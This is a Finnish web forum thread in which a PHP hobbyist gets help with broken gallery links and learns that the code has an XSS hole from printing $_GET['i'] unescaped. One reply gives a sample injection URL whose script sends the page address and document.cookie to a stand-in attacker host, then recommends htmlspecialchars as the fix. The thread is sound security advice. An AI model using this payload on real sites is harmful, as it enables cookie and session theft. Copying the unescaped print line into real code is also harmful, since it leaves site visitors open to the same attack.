Hei! Olen värkkäämässä kuvagalleriaa eräälle sivustolle. Käytän sivustolla dynaamista linkkijärjestelmää sivun eri osien includetuksen kanssa. Homma toimii muuten, mutta itse gallerian kanssa on ongelmia:
Olen eritellyt kuvagallerian hakemistot omiksi sivuikseen. Tiedän, ettei tämä ole paras tapa, mutta tällähetkellä tärkeintä on saada homma nopeasti toimimaan, ja menen sieltä missä aita on matalin. Eli kuvahakemisto xyz löytyy osoitteesta
www.munsivusto.com/gallery.php?p=xyz
Galleriassa haluan kuitenkin myös yksittäisten kuvien näyttömahdollisuuden. Thumbnail-kuvien tulostamisen toteutan seuraavasti:
print('<td width="200" align="center"><a href="gallery.php?p=xyz?i='.$filename.'"><img src="gallery/thumbsxyz/'.$filename.'" border="0"></a></td>');
Mainittakoon tässä vaiheessa, että tiedosto xyz.php (joka siis includetetaan galleriasivulle) sijaitsee hakemistossa /www/gallery kun taas galleriasivu on hakemistossa /www.
Yritän nyt siis thumbnailia klikatessa näyttää sen kyseisen kuvan isompana käyttäen sen i-arvoa, jonka siis määritin filenameksi (noin 9 numeron sarja). Ongelma tosin on, että sitä ennen on tuo ?p=xyz -kohta osoitteessa, joka tuntuu siis sotkevan koko yrityksen?
Yritin lukea alkuperäisen kuvan näin:
print('<img border="0" src="gallery/xyz/'.$_GET['i'].'">');
Mutta ei. Antaa vain virheilmoitukseni.
Ideoita? Ja kiitos, kategoriointia en aio muuttaa, vaan sen pidän erillisinä sivuina ja kansioina.
Muuta toinen kysymysmerkki &-merkiksi, eli -> gallery.php?p=xyz&i='.$filename.'
Damiqib kirjoitti:
Muuta toinen kysymysmerkki &-merkiksi, eli -> gallery.php?p=xyz&i='.$filename.'
Tai oikeammin &
-entiteetiksi.
$filename
olisi myös hyvä urlenkoodata. Nykyisessä koodissasi on myös XSS-aukko.
trilog kirjoitti:
Nykyisessä koodissasi on myös XSS-aukko.
Kertoisitko lisää..? :)
Mieti, mitä tapahtuu, kun sivu ladataan seuraavanlaisella osoitteella (tietenkin sopivasti enkoodattuna):
http://sinun.sivusi.leikisti/sivu.php?i="><script type="text/javascript">location.href = "http://hakkerointi.gurut.be/tiedot.php?sivu=" + escape(location.href) + "\x26tieto=" + escape(document.cookie);</script>
Tämä siis pätee tuohon jälkimmäiseen print-riviisi, mutta eiköhän koodissasi ole useampikin samanlainen paikka. Linkin voi huomaamattomasti ujuttaa käyttäjälle vaikka näin. Asian voi korjata helpoiten käsittelemällä datan aina htmlspecialchars-funktiolla ennen tulostusta – näin kuuluu muutenkin tehdä, jos data saattaa sisältää HTML:ssä käytettäviä merkkejä.
Onko käytössä php?
Sillä sen saisi turvallisemmin ja ainakin meikä myös helpommin ;)
Pekka Mansikka kirjoitti:
Onko käytössä php?
Sillä sen saisi turvallisemmin ja ainakin meikä myös helpommin ;)
Juu, kaikki nuo koodit ovat echojen sisällä php:ssa
Paitsi tuo print-rivi, sekä muutama vastaava
Mjoo :)
Laita siihen tarkistus, jotta se ei hyväksy osoiteriville ihan mitä tahansa. ...
Auttoiko tuo merkin vaihto? Onko sinulla tiedosto-muoto (ilmeisesti jpg) jo tuossa linkissä?
Merkinvaihto auttoi, ja tiedostomuodon selvitän automaattisesti kullekkin id:lle erikseen, ja tallennan ne flatfileen, josta sitten tarvittaessa tiedostomuoto luetaan id:stä riippuen sen perään (pistin tuen giffille, jpg/jpeg:lle sekä png:lle) :).
Kiitos avusta!
Aihe on jo aika vanha, joten et voi enää vastata siihen.